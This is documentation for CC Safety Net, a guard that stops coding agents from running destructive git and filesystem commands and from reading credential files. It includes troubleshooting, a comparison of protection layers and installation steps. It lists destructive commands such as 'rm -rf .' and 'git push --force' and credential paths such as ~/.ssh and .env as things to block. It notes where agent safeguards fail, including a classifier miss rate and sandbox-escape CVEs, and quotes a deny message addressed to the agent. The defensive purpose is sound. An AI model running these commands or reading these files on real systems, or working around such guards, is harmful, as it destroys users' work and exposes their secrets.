https://github.com/kenryu42/gemini-safety-net` and start a new Gemini session. 9. **GitHub Copilot CLI**: confirm the `cc-safety-net@cc-marketplace` plugin is installed (`/plugin`) and enabled in `enabledPlugins` in `~/.copilot/settings.json`. For Copilot CLI 1.0.8+, check inline hook config and `disableAllHooks` in this precedence order: `.github/copilot/settings.local.json`, `.github/copilot/settings.json`, `.claude/settings.local.json`, `.claude/settings.json`, `~/.copilot/settings.json`, then `~/.copilot/config.json`. The first file that defines `disableAllHooks` decides the result: `true` disables all hooks, while `false` stops lower-priority values from applying. A hook in `.claude` must run `cc-safety-net hook --copilot-cli` or `cc-safety-net hook -cp`; a plain Claude Code hook does not register for Copilot. User hook files under `~/.copilot/hooks/` require Copilot CLI 0.0.422+. 10. **Grok Build**: check `~/.grok/hooks/cc-safety-net.json` (or `$GROK_HOME/hooks/cc-safety-net.json`) for a managed `PreToolUse` entry running `npx -y cc-safety-net hook --grok-build`. Re-run `npx -y cc-safety-net@latest install --grok-build` if it's missing. 11. **Hermes Agent**: confirm the managed plugin files exist in `$HERMES_HOME/plugins/cc-safety-net` (`~/.hermes/plugins/cc-safety-net` when `HERMES_HOME` is unset) and enable the plugin with `hermes plugins enable cc-safety-net --no-allow-tool-override`. Hermes loads a user plugin only when its `config.yaml` lists it. Restart Hermes so the plugin loads. `doctor` reads only the plugin files and Hermes configuration; it does not ask a running Hermes whether the plugin loaded. Restart and test again after a change. 12. **Kimi Code**: check `~/.kimi-code/config.toml` (or `$KIMI_CODE_HOME/config.toml`) for a `[[hooks]]` block running `npx -y cc-safety-net hook --kimi-code` on `PreToolUse` `Bash`. Re-run `npx -y cc-safety-net@latest install --kimi-code` if it's missing. 13. **OpenClaw**: the plugin is installed and enabled through OpenClaw's own CLI. Re-running `npx -y cc-safety-net@latest install --openclaw` runs `openclaw plugins install --force` and `openclaw plugins enable cc-safety-net`, then confirms the plugin loaded (`openclaw plugins inspect cc-safety-net --runtime` shows the details). Restart the OpenClaw Gateway afterwards, and if `plugins.allow` is set in `openclaw.json`, it must also list `cc-safety-net`. `doctor` reads the plugin directory and `openclaw.json` only; it never asks a running Gateway whether the plugin loaded, so a stopped Gateway is not reported as a failure. 14. **OpenCode**: check `$XDG_CONFIG_HOME/opencode/opencode.json` (or `.jsonc`) when `XDG_CONFIG_HOME` is set; otherwise check `~/.config/opencode/opencode.json` (or `.jsonc`). Confirm that the `plugin[]` array contains `cc-safety-net`. OpenCode can cache a stale version. See the [Installation](/docs/installation#opencode-installation) cache-clearance steps. 15. **Pi**: confirm `pi install npm:cc-safety-net` completed and you restarted Pi so the extension loads. Pi runs CC Safety Net as an in-process extension; run `npx cc-safety-net doctor`, which probes Pi directly. 16. After making any changes, reload or restart your agent session. If you are unsure which mechanism your agent uses, see [Integration architecture](/docs/guides/integration-architecture). A healthy check finishes in well under a second. If every command waits for seconds, the delay is in resolving the `cc-safety-net` package, not in the analysis itself. **Steps to resolve:** 1. Check how your agent runs the hook. The Claude Code plugin runs its bundled copy directly, so package resolution cannot be the cause there. The Antigravity CLI, Cursor, Grok Build, Hermes Agent, and Kimi Code hooks run `npx -y cc-safety-net` on every command, which adds a few hundred milliseconds even with a healthy npm cache. 2. Measure the resolution cost outside the agent: ```bash theme={"dark"} time npx -y cc-safety-net --version ``` Run it two or three times. The first run after a release downloads the package and is slow once; warm runs should settle in the low hundreds of milliseconds. 3. Rule out registry latency: ```bash theme={"dark"} time npx -y --prefer-offline cc-safety-net --version ``` If the `--prefer-offline` run is fast while the plain run stays slow, npx is waiting on the npm registry. That is a network or proxy problem, not a CC Safety Net one. 4. Repair the npm cache: ```bash theme={"dark"} npm cache verify ``` A bloated or corrupted cache slows every npx resolution, warm runs included. `npm cache verify` garbage-collects and repairs it. In the report that led to this section ([issue #16](https://github.com/kenryu42/cc-safety-net/issues/16)), it reclaimed over 5 GB and brought hooks back under a second. After a fix, re-run the timing command from step 2. Warm runs in the low hundreds of milliseconds are as fast as the npx-based integrations get. If a command you expected to be blocked was allowed, work through this list. Most cases are a documented allowance or a lower safety level than you assumed, not a gap. **Steps to resolve:** 1. Run `npx cc-safety-net explain ""` to see the full step-by-step analysis of how CC Safety Net evaluated that specific command. The output names the rules that were checked, the effective safety level, and, when a rule exists but is off at your level, the rule activation line that says so. A real trace is not automatically safe to share. Redaction covers recognized credential shapes only; the command text, its parsed tokens, absolute paths including your home directory, and your policy file path are carried through. Reproduce the case with **placeholder credentials** and review the output before pasting it anywhere. 2. Check the effective level in that output. [Standard mode](/docs/configuration/modes#default-mode) is best-effort: it deliberately allows dynamic executables, command structure assembled through substitution, unverifiable recursive-delete targets such as `rm -rf "$target"`, and metadata-only checks of built-in sensitive paths. If your commands can come from prompt injection or another adversarial context, raise the level to [strict](/docs/configuration/modes#strict-mode-cc_safety_net_strict=1) or [paranoid](/docs/configuration/modes#paranoid-mode-cc_safety_net_paranoid=1), which fail closed on all of those forms. 3. The command may fall into an explicitly allowed category. For example, `rm -rf` within the current working directory is allowed by default because it's scoped to your project. See the [Allowed commands](/docs/reference/allowed-commands) reference for the full list. 4. Run `npx cc-safety-net status`. A `degraded` verdict means a rule source was dropped, so the denials that source contributed are not being enforced. See [Configuration recovery](/docs/configuration/recovery). 5. Look for a `Project policy` block in that same `status` output. It appears when a project `.cc-safety-net/policy.json` relaxed the user policy, and each line names one relaxed field, for example `project policy lowers level: strict -> standard`, `project policy disables rule `, or `project policy adds destructive allow path: `. Any of those can explain a rule that stopped firing in this project but still fires elsewhere. The status line shows the same condition as `🔻`, and `doctor` prints the same lines under `Project policy deltas:`. 6. If the command runs through a proxy that CC Safety Net does not analyze, register it with `npx -y cc-safety-net rule wrapper add ` so analysis looks through it to the real child command. 7. If you need the command blocked in your context, create a custom rulebook with `npx -y cc-safety-net rule init` and add a rule to `.cc-safety-net/rules/project-rules/rulebook.json`. See [Custom rules](/docs/configuration/custom-rules) for the schema. 8. If none of the above explains it, the command shape may be a **coverage gap**, which is a public bug under the project policy. Open a [GitHub issue](https://github.com/kenryu42/cc-safety-net/issues) that describes the command *shape*, not a ready-to-paste payload. Secret leakage, a write outside the intended directory, and supply-chain or package-integrity problems use the private disclosure path. The [security policy](/docs/security) defines both procedures. Attach a reviewed `explain` trace from step 1. Never attach a raw trace or real credentials. If the boundary is documented, [Known limitations](/docs/guides/known-limitations) identifies it and names the layer that covers it. Built-in rules are conservative by design. If a command you need is being blocked, you have several options. **Steps to resolve:** 1. Run `npx cc-safety-net explain ""` to understand exactly why it's being blocked and which rule matched. 2. If the deny reason is "Command analysis exceeds CC Safety Net's derived-command work limit. Reduce nested or embedded command complexity and retry.", no rule matched. The command exhausted the fixed work budget for derived commands, such as shell one-liners inside `find -exec`, `xargs`, or `parallel`, commands embedded behind wrappers, and similar nested forms. The budget is a compile-time constant, so no configuration raises it. Split the command into simpler commands and retry. 3. If the deny reason is "CC Safety Net could not analyze the command because it exceeds safe analysis limits. Simplify or split the command and retry.", no rule matched either. The command crossed a fixed path-canonicalization or shell-structure budget. Commands that do this carry enough path-like tokens to exhaust the path-canonicalization budget, inline shell functions past the projection's cap of 256 call sites, or nest heredoc bodies deeper than the parser allows. The budget is a compile-time constant, so no configuration raises it. Simplify or split the command and retry. 4. If the deny reason is "CC Safety Net failed closed because command analysis failed unexpectedly. This is not caused by your command. Report it to the user.", the analysis hit an internal fault rather than a budget. Reworking the command is not the fix. Report it, as the reason says. 5. If the deny reason is "CC Safety Net could not use the requested working directory because it does not exist, is inaccessible, is not a directory, or uses an unsupported path form. Use an existing accessible working directory. If the requested directory is missing, create it from an accessible location before retrying the command.", the command was never analyzed. This is an Amp Code shell call whose `dir` could not be resolved. Point the call at a directory that already exists, or create the missing one from an accessible location, and retry. 6. If the deny reason is the one below, the agent tried to run `cc-safety-net policy apply`: ```text theme={"dark"} Only the user may apply a policy proposal, because it rewrites the configuration CC Safety Net enforces. Ask them to run `cc-safety-net policy apply ` themselves in a terminal; you can run `cc-safety-net policy check ` to show them what it would change. ``` This block is deliberate and has no override, because applying a proposal rewrites the policy the guards enforce. Run `npx cc-safety-net policy apply ` yourself in a terminal. `policy check` stays allowed, so the agent can still show you what the proposal would change. The recognizer over-matches on purpose, so it also fires on `npx`, `bunx`, `pnpm dlx`, `npm exec`, and `bun`/`node` forms of the same command. 7. Consider these alternatives depending on your situation: * **Working in a linked git worktree?** Turn on worktree mode with `workflow.worktree_mode` in `policy.json` or `CC_SAFETY_NET_WORKTREE=1`. This relaxes local-discard rules when the command is proven to run inside a linked worktree, which is designed to be a disposable, isolated workspace. * **Need a safer variant?** For example, `git push --force-with-lease` is allowed and provides the same outcome as `--force` with an added safety check. `git clean -n` (dry-run) is allowed and lets you preview what would be removed. * **Command is genuinely needed?** Run it manually outside the agent. This is always an option, and CC Safety Net will tell the agent to ask you to do exactly this when a block fires. A rule source that cannot be verified is **dropped**. Your commands keep running, but the rules from that source stop applying. The runtime reports `degraded`. This failure can be quiet during a clean session, so check it after each rule configuration change and upgrade. Every other verified scope and every built-in protection keeps enforcing. A full breakdown of each failure and the fallback it produces is in [Configuration recovery](/docs/configuration/recovery). **Steps to resolve:** 1. Run `npx cc-safety-net status` for the verdict, then `npx cc-safety-net doctor` for the full reason. It names the rejected source and condition. 2. Run `npx -y cc-safety-net rule list` to see which sources and rules are actually active, plus any issues and warnings. Then `npx -y cc-safety-net rule verify` to validate rulebook structure. 3. Check that you're using the correct file locations: * **User scope**: `~/.cc-safety-net/rules/rule.json` (created with `rule init --global`) * **Project scope**: `.cc-safety-net/rules/rule.json` in your project root 4. Ensure both `rule.json` and your rulebook JSON files are valid JSON. Common mistakes include trailing commas and unquoted keys. An unreadable `rule.json` drops that whole scope, including its `transparent_wrappers`. 5. Confirm that `"version": 1` is present in `rule.json` and `"rulebook_version": 1` is present in each `rulebook.json`. Both fields are required. 6. If you edited a rulebook and the old behavior persists, you edited a file the scope does not load. Every source loads from `//rulebook.json`, where the name comes from the source entry in `rule.json`, and a saved edit there applies on the next tool call with no publishing step. Run `npx -y cc-safety-net rule list` to see the source and rulebook name each scope actually loaded, then check that the file you edited sits under that name. Check also that no `overrides` entry in `rule.json` turns the rule off. A rulebook name another source already claimed is ignored with a warning, so its rules never load at all. 7. If you previously used the legacy inline config (`.safety-net.json` or `~/.cc-safety-net/config.json`), run `npx -y cc-safety-net rule migrate` to convert it to the new layout. An unmigrated legacy file's rules are inert until you do. 8. After changing a rulebook source, run `npx -y cc-safety-net rule verify` to revalidate it. There is no rebuild step. `rule verify` reloads each scope the way the guard does and fails with the exact remaining diagnostic rather than reporting a false success. For a remote source, `npx -y cc-safety-net rule update` refetches it and overwrites the vendored `rulebook.json`, so local edits to that file are lost. You can run all of these while the runtime is `degraded`. Nothing is blocked only because it is unconfigurable. `degraded` means a configuration candidate was rejected and something safe is enforced in its place. Causes include a dropped rule source, a duplicate rulebook name, or an invalid `policy.json` that falls back to salvaged values or protective defaults. Ordinary work is never denied for this reason. **Steps to resolve:** 1. Run `npx cc-safety-net doctor`. The `config.runtime-degraded` finding carries the full reason, naming the rejected file and condition. 2. For a rule source, apply the repair the reason names. The `config.runtime-degraded` fix hint states it as: ```text theme={"dark"} Fix the file named in the reason, or run `cc-safety-net rule update` to vendor a remote source, then rerun doctor. ``` An invalid or misnamed rulebook ends its reason with `fix that file`. A missing local rulebook ends with `create that file or remove that source from the rules config`. A missing remote rulebook ends with an instruction to run `cc-safety-net rule update` to vendor that source. Then run `npx -y cc-safety-net rule verify` to confirm. 3. Fix `policy.json` by hand because the runtime never rewrites it. Rejected sections fall back to *protective* defaults, so the usual symptom is more denials than you configured. The exception is an invalid `safety.level`, which falls back to `standard` and therefore *lowers* your protection. 4. Re-run `npx cc-safety-net status` and confirm the verdict is `ready`. See [Configuration recovery](/docs/configuration/recovery) for every failure row and its fallback. `doctor` reports the info finding `config.v2-leftovers`, titled `Rulebook lock and cache leftovers detected`, when a `rule.lock` file or a `cache` directory from an earlier version is still on disk in either scope. Its detail lists the paths it found. Nothing reads those files. The runtime loads each `rulebook.json` directly, so the finding is informational. The verdict stays `ready` and every configured rule keeps enforcing. The fix hint is exactly: ```text theme={"dark"} Run `cc-safety-net rule sync` (add `--global` for user scope) to migrate them, then rerun doctor. ``` `rule sync` is deprecated and does nothing else. It runs offline, copies any cached rulebook that still matches its recorded digest into the live path its source loads from, then deletes the lock and the cache. See [`rule sync`](/docs/reference/cli-commands#rule-sync) for the rest of its output and the case where it refuses to run. The status line requires an entry in `~/.claude/settings.json`. If it's not appearing, the entry is likely missing, malformed, or pointing to the wrong runtime. **Steps to resolve:** 1. Open `~/.claude/settings.json` and verify the `statusLine` entry is present. It should look like one of the following: ```json theme={"dark"} { "statusLine": { "type": "command", "command": "bunx cc-safety-net statusline --claude-code" } } ``` ```json theme={"dark"} { "statusLine": { "type": "command", "command": "npx -y cc-safety-net statusline --claude-code" } } ``` 2. Changes to this file take effect immediately. You do not need to restart Claude Code. 3. If you're using the `claude x` variant, it is only compatible with the native version of Claude Code. If you installed Claude Code via npm, use `npx` or `bunx` instead. 4. Test the status line command directly in your terminal to confirm it produces output: ```bash theme={"dark"} bunx cc-safety-net statusline --claude-code ``` If this command fails, the status line will be blank inside Claude Code. 5. The status line reflects the `enabledPlugins["cc-safety-net@cc-marketplace"]` entry in `~/.claude/settings.json`. If you run CC Safety Net as a manual hook or for another agent, it may show `❌` even though protection is active. See [Status line](/docs/configuration/status-line) for what each indicator means. Keep CC Safety Net up to date to get the latest blocking rules and bug fixes. **Update every installed integration:** ```bash theme={"dark"} npx -y cc-safety-net@latest update ``` `update` detects installed integrations, including disabled ones, and refreshes each one in place. It reports an integration as skipped when it cannot find the agent CLI. The `@latest` tag matters because a bare `cc-safety-net` spec can run an older cached copy instead of the current release. Pressing `u` in the interactive installer runs the same update. **Claude Code (plugin marketplace):** To update automatically instead, go to `/plugin` → select `Marketplaces` → choose `cc-marketplace` → enable auto-update. If you have a local install, update it with your package manager. **Check your current version:** ```bash theme={"dark"} npx cc-safety-net --version ``` ## Collect diagnostics and report the issue If you're unable to resolve an issue with the steps above, collect the full diagnostic output before filing a report: ```bash theme={"dark"} npx cc-safety-net doctor --json ``` The `--json` flag produces structured output that captures your environment, installed versions, hook configuration, and self-test results in a single snapshot. Review diagnostic and `explain` output before sharing it. It contains absolute filesystem paths including your home directory, project and directory names, and your configuration paths. Redaction covers recognized credential shapes only, so reproduce the problem with **placeholder credentials** rather than real ones and read the output before you paste it. Report bugs, coverage gaps, false positives, installation problems, and documentation issues in a public [GitHub issue](https://github.com/kenryu42/cc-safety-net/issues). Use the private path in the [security policy](/docs/security) for secret leakage, a write outside the intended directory, and supply-chain or package-integrity problems. # Where CC Safety Net fits among your protection layers Source: https://ccsafetynet.com/docs/guides/vs-sandboxing Place CC Safety Net next to OS-level sandboxing, permission prompts and approval classifiers, and containers, VMs, and checkpoints. Each layer misses cases the others catch. Most coding agent CLIs now ship or support OS-level sandboxing that provides filesystem and network isolation. Sandboxing is **broad containment**: it limits what a process can touch without knowing what any command means. CC Safety Net is **semantic, bounded interception**: it reads the meaning of supported tool calls and denies destructive operations before they run. The two layers protect against different threats, so using both provides more complete protection. Sandboxing is not the only layer already in place. Permission prompts and their auto-approve classifiers sit in front of every action, and some setups put a container, a VM, or checkpoints around the session. This page places CC Safety Net next to each of them, with the most detail on sandboxing because it is the closest comparison. ## What each layer covers and misses Each layer decides on different evidence, so each one misses cases the others catch. | Layer | What it covers | What it misses | | ----------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- | | **OS-level sandboxing** | Writes scoped to the working and temporary directories, network access restricted or off | Anything inside the boundary: `git reset --hard`, `rm -rf .`, and reads of the credential files it allows | | **Permission prompts and approval classifiers** | A prompt or a classifier model reviews an action before it runs, including destructive git commands | A published 17% false-negative rate, and a bypass mode that asks about nothing | | **Containers, VMs, and checkpoints** | A machine you can throw away, and a rewind of the file edits captured before each prompt | The mounted workspace holds real work, pushes reach the real remote, and rewind does not cover bash commands | | **CC Safety Net** | Deterministic analysis before execution: destructive git and filesystem operations and recognized credential reads, in supported tool calls | Network egress, credentials in files it does not recognize, behavior inside a binary; a denial is not filesystem enforcement | ## How operating-system sandboxes work Sandboxing implementations vary by platform, but most use the same OS primitives, such as macOS Seatbelt and Linux bubblewrap. They also share a common default posture: broad reads, writes limited to the working and temporary directories, and restricted or disabled network access. Each implementation separates the **sandbox**, which sets the technical boundary, from the **approval policy**, which decides when the agent must ask before acting. ## Different layers of protection | | OS-level sandboxing | CC Safety Net | | --------------------- | -------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------- | | **Enforcement** | OS-level (Seatbelt/bubblewrap) | Application-level (runs before the command executes) | | **Approach** | Containment that restricts filesystem and network access | Semantic analysis that intercepts destructive and sensitive operations in supported tool calls | | **Filesystem writes** | Restricted by boundary (default: cwd) | Destructive operations blocked by meaning, wherever they point | | **Filesystem reads** | Broad by default | A bounded set of sensitive paths is blocked (`.env`, `~/.ssh/id_*`, `~/.aws`, coding-CLI credential stores, plus your deny paths) | | **Network** | Restricted or off by default (mechanism varies) | None | | **Git awareness** | None | Explicit rules for destructive git operations, plus always-on protection of the repository's Git metadata | | **Bypass resistance** | High because the OS enforces boundaries | Lower because it analyzes only supported tool calls and command text | ## Limits of sandboxing for coding agents Sandboxing restricts *where* you can write, but it doesn't decide what the process may do inside that area. Claude Code's [sandboxing docs](https://code.claude.com/docs/en/sandboxing) scope writes to the working directory by default, so `git reset --hard` and `rm -rf .` on your project land on allowed paths, and the operating system sees permitted writes. `git push --force` rewrites your remote over the network and writes nothing locally, so a filesystem write scope never had it in range. The following commands are all permitted by the sandbox: they write inside the current working directory, read a file the sandbox allows, or reach an allowed remote. Whether these commands run automatically or require confirmation depends on your agent's sandbox mode and approval policy. Network-dependent commands like `git push --force` also depend on your allowed-domain configuration. | Command | OS-level sandboxing | CC Safety Net | | ------------------- | ---------------------------------- | ------------- | | `git reset --hard` | Allowed (within cwd) | Blocked | | `git checkout -- .` | Allowed (within cwd) | Blocked | | `git stash clear` | Allowed (within cwd) | Blocked | | `git push --force` | Allowed (if remote domain allowed) | Blocked | | `rm -rf .` | Allowed (within cwd) | Blocked | | `cat .env` | Allowed (reads are broad) | Blocked | Sandboxing sees `git reset --hard` as a safe operation because it modifies files only within the current directory. The command still discards all uncommitted work. From the OS's perspective, these commands are entirely legitimate: they write to an allowed path or read a file the sandbox permits, don't touch the network (except push), and complete without error. The sandbox has no concept of git history, uncommitted changes, stash entries, or which files hold credentials. CC Safety Net understands these semantics and blocks them accordingly. Reads are wider than most people assume. Claude Code's [sandboxing docs](https://code.claude.com/docs/en/sandboxing) say of the default read behavior that "There is no built-in credential deny list", and name `~/.aws/credentials` and `~/.ssh/` as files it still allows reading. CC Safety Net blocks content access to those paths with no configuration. The same difference applies to command proxies. A tool that runs a command on your behalf looks like one opaque executable to both layers. After you declare it with `cc-safety-net rule wrapper add `, CC Safety Net looks through it to the visible child command and applies the same rules. A sandbox does not inspect the child. It limits what the whole process tree can touch. ## When sandboxing is the better choice Sandboxing is the right tool when your primary concern is: * **Prompt injection attacks.** Restrict outbound network domains to reduce exfiltration risk. * **Malicious dependencies.** Limit filesystem writes and network access from untrusted packages. * **Untrusted code execution.** Use OS-level containment, which is stronger than command-text analysis. * **Network control.** CC Safety Net has no network protection. If you're running code from an untrusted source, or you're worried about a compromised dependency reaching out to an attacker-controlled server, sandboxing is the layer that addresses those threats. ### Where CC Safety Net cannot help CC Safety Net interprets supported tool calls; it does not contain a process. Each of these limits needs containment rather than semantic analysis: * **Exfiltration over the network.** Runtime evaluation makes no network requests and nothing in the pipeline inspects egress. Domain allowlisting is the sandbox's job. * **Reads outside the recognized set.** Sensitive-path protection covers a bounded pattern set across supported command, path, search, and patch shapes. It includes `.env` variants, SSH keys, cloud credential stores, coding-CLI credential files, and configured deny paths. The [Secret protection reference](/docs/reference/secret-protection) lists the full catalog. This is not a general read boundary, so a credential in an unrecognized file is not protected. A sandbox constrains *all* reads without knowing which file matters. * **Behavior hidden inside a binary.** `some-tool --task destructive-cleanup` looks benign in the command text, and a proxy that rewrites its child instead of executing a visible one cannot be unwrapped even when it is configured as a transparent wrapper. * **Complete filesystem enforcement.** A denial stops the tool call; it does not enforce permissions. When you need complete protection rather than best-effort interception, use a trusted write broker, OS permissions, or a sandbox. Sandboxing provides the containment that these cases need. The two tools are complementary, not alternatives. See [Known limitations](/docs/guides/known-limitations) for the full residual list. ## Permission prompts and approval classifiers The layer closest to you is the one that asks. Claude Code's [permission modes](https://code.claude.com/docs/en/permission-modes) describe it: in Manual mode, Claude Code "stops and asks you before most actions that edit files, run shell commands, or reach the network", while in auto mode "a second model, the classifier, reviews actions instead of you". The classifier blocks a list of actions by default, and the list includes "`git reset --hard`, `git checkout -- .`, `git restore .`, `git clean -fd`, `git stash drop`, or `git stash clear`, which the classifier presumes would discard uncommitted changes". That review is a judgment, and you can turn it off. Anthropic publishes a 17% false-negative rate for the [auto-mode](https://www.anthropic.com/engineering/claude-code-auto-mode) classifier on real overeager actions and calls it "not a drop-in replacement for careful human review". The permission-modes page lists what runs without asking under `bypassPermissions` as "Everything", and recommends that mode for "Isolated containers and VMs only". Deterministic checks survive the mode switch. The same page states that "Deny rules block in every mode, including `bypassPermissions`". A CC Safety Net denial behaves the same way: verified against Claude Code 2.1.251, a PreToolUse deny still fires in default, auto, and bypassPermissions modes (`tests/e2e-live/protection.test.ts` in the project repository). That is a per-version result, not a standing guarantee, so the suite runs again on every release and host upgrade. Deny rules cover the commands you thought to name, in the format each CLI accepts. CC Safety Net applies one policy and writes one audit trail across 13 CLIs. ## Containers, VMs, and checkpoints A machine you can throw away is real containment, and it is where the permission-modes page points once the prompts are off: `bypassPermissions` is for "Isolated containers and VMs only". What a disposable machine does not change is the work inside it. A cloud session clones your repository at a real branch, commits, and pushes back to your real remote, so `git reset --hard` on uncommitted work costs the same work there that it costs locally, and `git push --force` lands on a branch your teammates pull. [Cloud environments](/docs/guides/cloud-environments) covers the credential side of the same session. A local container that mounts your working tree works the same way. The mount is writable, and your uncommitted work sits inside it. Checkpoints narrow that gap without closing it. Claude Code's [checkpointing docs](https://code.claude.com/docs/en/checkpointing) say checkpointing "automatically captures the state of your code before each user prompt", then state the limit: "Checkpointing does not track files modified by bash commands." The examples given there are `rm file.txt`, `mv old.txt new.txt`, and `cp source.txt dest.txt`. Of those changes, the page says: "These file modifications cannot be undone through rewind. Only direct file edits made through Claude's file editing tools are tracked." A destructive git command runs as a bash command, so the work it discards is outside what a rewind restores. The same page positions checkpoints as "quick, session-level recovery" and says to "continue using version control, such as Git, for commits, branches, and long-term history". ## Use sandboxing with CC Safety Net Run both for defense-in-depth. They complement each other cleanly: * **Sandboxing.** Contains the damage. If something goes wrong, damage is limited to the current working directory and approved network domains. * **CC Safety Net.** Blocks Git-specific and filesystem-destructive mistakes that a sandbox permits inside the working directory. It also blocks reads of recognized credential files that broad sandbox read access permits. Sandboxing handles unknown threats by constraining what the agent *can* do at the OS level. CC Safety Net handles known destructive patterns by intercepting commands before they execute. Together, they cover the gaps that each leaves on its own. The other layers stack the same way. A classifier weighs intent in cases no static check can settle. A disposable machine and its checkpoints limit and undo part of what still gets through. Neither one covers the case the deterministic check is there for. Sandboxes and allowlists also break. CVE-2026-25725 escaped Claude Code's bubblewrap sandbox through `settings.json`, and CVE-2026-22708 bypassed Cursor's command allowlist. Run every layer you have. # Guardrails for coding agents Source: https://ccsafetynet.com/docs/index CC Safety Net blocks destructive git and filesystem commands and secret file access before coding agents can execute them. Protect your work and your credentials across Amp Code, Antigravity CLI, Claude Code, Codex, Cursor, Gemini CLI, GitHub Copilot CLI, Grok Build, Hermes Agent, Kimi Code, OpenClaw, OpenCode, and Pi.

CC Safety Net docs

CC Safety Net blocks supported destructive commands and access to credential files before execution. This protects local work and secrets from coding agent mistakes.

Quickstart guide

Runs on Windows, macOS, and Linux.

Already on v1? npx -y cc-safety-net\@latest update upgrades every installed integration to v2.

\$ git checkout -- src/main.py BLOCKED by CC Safety Net Reason: discards uncommitted changes. \$ git checkout -b safety-check ALLOWED Reason: creates a branch safely.

CC Safety Net bases its decision on what a command does, not how it is spelled. It can block one form of git checkout and allow another.

CC Safety Net is a pre-execution check, not a sandbox. See Known limitations for what it cannot catch.

Supported agents and CLIs

Use the same safety layer with each supported agent and CLI that runs shell commands. See Installation for the complete list and the install and uninstall commands.

Where to go next

Choose a page for your current task.

If something looks wrong, start at Troubleshooting. For exact classifier behavior, see Analysis engine. To write rules, see Custom rules.

# Install CC Safety Net for your coding agent Source: https://ccsafetynet.com/docs/installation Install and uninstall CC Safety Net across all thirteen supported coding agents: Amp Code, Antigravity CLI, Claude Code, Codex, Cursor, Gemini CLI, GitHub Copilot CLI, Grok Build, Hermes Agent, Kimi Code, OpenClaw, OpenCode, and Pi. CC Safety Net installs as a plugin, extension, or hook inside your coding agent. You do not need a persistent service or daemon. Some integrations start a short-lived hook subprocess for each check. Most integrations run on **Windows, macOS, and Linux**. They detect the host operating system for path handling and command resolution. On Windows, this includes case-insensitive paths and `cmd.exe` or PowerShell resolution through `COMSPEC` and `PATHEXT`. The install commands and the interactive picker also resolve agent CLIs that npm installs as `.cmd` shims on Windows, so commands like `install --codex` find them. Automated Windows tests cover the analyzer and a subset of integrations; for the remaining hosts Windows support is best-effort and untested, and Amp's own manual documents macOS, Linux, and WSL rather than native Windows. The **Hermes Agent** and **OpenClaw** integrations run only on macOS and Linux. They use the POSIX home-directory paths `~/.hermes` and `~/.openclaw` and do not support Windows paths. Install **Node.js 18 or later** before you start. The examples use `npx` to run CLI subcommands. Use `cc-safety-net install ` to install one integration and `cc-safety-net uninstall ` to remove it. Use `cc-safety-net update` to refresh all installed integrations. ## Install interactively Run the installer with no target flag to get an interactive multi-select over the coding CLIs detected on your machine: ```bash theme={"dark"} npx -y cc-safety-net@latest install ``` In the selector, `Space` selects a target, `Enter` confirms, `u` switches to updating every installed integration instead, and `q` or `Esc` cancels without changing anything. The `@latest` qualifier matters: a bare `cc-safety-net` spec can re-run an older cached copy from the npx cache instead of the current release, so every install, uninstall, and update command on this page pins it. To remove integrations the same way: ```bash theme={"dark"} npx -y cc-safety-net@latest uninstall ``` If you use the CLI often, install it globally to get `ccsn`, a shorter alias for the same commands: ```bash theme={"dark"} npm install -g cc-safety-net ccsn doctor ``` The alias ships with the global install; `npx` runs use the full `cc-safety-net` name. ## Update installed integrations To refresh every installed integration in place, run: ```bash theme={"dark"} npx -y cc-safety-net@latest update ``` `update` detects the integrations already installed on your machine, including disabled ones. It runs each install path again in update mode. The command reports an integration as skipped when it cannot find the agent CLI. If no integrations are installed, it tells you to run `cc-safety-net install` first. Pressing `u` in the interactive installer runs the same update. `update` is also the upgrade path between major versions. Running it on a v1 installation moves every installed integration to the current v2 release. If you defined custom rules under v1's inline configuration, complete the [legacy migration](/docs/configuration/custom-rules#migrate-legacy-configuration). Then confirm that the runtime is `ready` with `npx cc-safety-net doctor`. If you installed rulebooks from GitHub on 2.2 or earlier, run [`rule sync`](/docs/reference/cli-commands#rule-sync) once per scope after upgrading, adding `--global` for user-scope sources. Rulebooks are now live vendored files instead of lock-and-cache state, and the command migrates each cached rulebook into the live path its source loads from, then removes the leftovers. Until it runs, those GitHub-sourced rules are inactive and `status` and `doctor` report the degraded sources. ## Install a specific agent For scripted, non-interactive installs, pass exactly one target flag. Passing zero or more than one target flag is an error. In an interactive terminal, passing no target flag starts the installer selector. | Agent | Install | Uninstall | | ------------------------------------------------------ | ---------------------------------------------------- | ------------------------------------------------------ | | [Amp Code](#amp-code-installation) | `npx -y cc-safety-net@latest install --amp` | `npx -y cc-safety-net@latest uninstall --amp` | | [Antigravity CLI](#antigravity-cli-installation) | `npx -y cc-safety-net@latest install --agy-cli` | `npx -y cc-safety-net@latest uninstall --agy-cli` | | [Claude Code](#claude-code-installation) | `npx -y cc-safety-net@latest install --claude-code` | `npx -y cc-safety-net@latest uninstall --claude-code` | | [Codex](#codex-installation) | `npx -y cc-safety-net@latest install --codex` | `npx -y cc-safety-net@latest uninstall --codex` | | [Cursor](#cursor-installation) | `npx -y cc-safety-net@latest install --cursor` | `npx -y cc-safety-net@latest uninstall --cursor` | | [Gemini CLI](#gemini-cli-installation) | `npx -y cc-safety-net@latest install --gemini-cli` | `npx -y cc-safety-net@latest uninstall --gemini-cli` | | [GitHub Copilot CLI](#github-copilot-cli-installation) | `npx -y cc-safety-net@latest install --copilot-cli` | `npx -y cc-safety-net@latest uninstall --copilot-cli` | | [Grok Build](#grok-build-installation) | `npx -y cc-safety-net@latest install --grok-build` | `npx -y cc-safety-net@latest uninstall --grok-build` | | [Hermes Agent](#hermes-agent-installation) | `npx -y cc-safety-net@latest install --hermes-agent` | `npx -y cc-safety-net@latest uninstall --hermes-agent` | | [Kimi Code](#kimi-code-installation) | `npx -y cc-safety-net@latest install --kimi-code` | `npx -y cc-safety-net@latest uninstall --kimi-code` | | [OpenClaw](#openclaw-installation) | `npx -y cc-safety-net@latest install --openclaw` | `npx -y cc-safety-net@latest uninstall --openclaw` | | [OpenCode](#opencode-installation) | `npx -y cc-safety-net@latest install --opencode` | `npx -y cc-safety-net@latest uninstall --opencode` | | [Pi](#pi-installation) | `npx -y cc-safety-net@latest install --pi` | `npx -y cc-safety-net@latest uninstall --pi` | Every install command is idempotent: running it again on an already-configured agent is safe and leaves a single managed entry behind. ## Amp Code installation ```bash theme={"dark"} npx -y cc-safety-net@latest install --amp ``` This publishes the managed plugin artifact to your account's hosted Amp Personal Plugins repository. The artifact is a directory named `cc-safety-net` holding `index.ts`, the entry file Amp loads. A personal plugin follows your account everywhere, so it also covers 